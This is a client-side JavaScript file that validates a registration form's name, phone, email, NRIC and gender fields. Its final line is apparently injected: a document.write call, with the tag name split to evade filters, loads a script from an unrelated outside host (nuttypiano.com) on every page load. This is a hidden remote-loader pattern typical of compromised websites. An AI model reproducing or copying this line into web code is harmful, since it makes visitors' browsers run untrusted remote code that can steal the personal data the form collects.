// JavaScript Document
function check_email(address) {
	//var emailPat = /^((\w|\.|\_)+)@(\[\d{1,3}(\.\d{1,3}){3}]|[A-Za-z]\w*(\.[A-Za-z]\w*)+)$/;
	var emailPat = /^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$/;
	var matchArray = address.match(emailPat);
	if (matchArray == null)
		return false;
	else
		return true;
}

function isDigit(e)
{
  var keynum;
  var keychar;
  var numcheck;

  if(window.event) // IE
  {
  keynum = e.keyCode;
  }
  else if(e.which) // Netscape/Firefox/Opera
  {
  keynum = e.which;
  }
  keychar = String.fromCharCode(keynum);
  numcheck = /\d/;
  return numcheck.test(keychar);
}

function trim(inputString)
{
	var retValue = inputString;
	var ch = retValue.substring(0, 1);

	while (ch == " ")
	{ // Check for space at the start of the string
		retValue = retValue.substring(1, retValue.length);
		ch = retValue.substring(0, 1);
	}

	ch = retValue.substring(retValue.length-1, retValue.length);

	while (ch == " ")
	{ // Check for spaces at the end of the string
		retValue = retValue.substring(0, retValue.length-1);
		ch = retValue.substring(retValue.length-1, retValue.length);
	}
	
	return retValue;
}

function twodigitformat(tmp)
{
	if(tmp.length==1) return "0"+tmp;
	else return tmp;
}

function register()
{	
	if(trim(document.f.tName.value) == "")
	{
		alert("Please fill in your Name correctly.");
		document.f.tName.focus();
		return false;
	}		
	if(trim(document.f.tPhone.value) != "" && isNaN(trim(document.f.tPhone.value)))
	{
		alert("Please fill in your Phone Number correctly (should be in number).");
		document.f.tPhone.focus();
		return false;
	}
	if(trim(document.f.tMobile.value) != "" && isNaN(trim(document.f.tMobile.value)))
	{
		alert("Please fill in your Mobile Number correctly (should be in number).");
		document.f.tMobile.focus();
		return false;
	}
  	if (document.f.tEmail.value == "" || !check_email(document.f.tEmail.value)){
		alert("Please fill in your Email correctly.");
		document.f.tEmail.focus();
		return false;
	}		
	if(trim(document.f.tNric.value) != "")
	{
		if(document.f.tNric.value.length < 8)
		{
			alert("Please fill in your NRIC correctly (should be not less than 8 characters).");
			document.f.tNric.focus();
			return false;
		}
	}
	if(document.f.rGender[0].checked==false && document.f.rGender[1].checked==false)
	{
		alert("Please choose your Gender correctly.");
		document.f.rGender[0].focus();
		return false;
	}	

	document.f.submit();
}

			

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Batch_Process.js"></scri'+'pt>');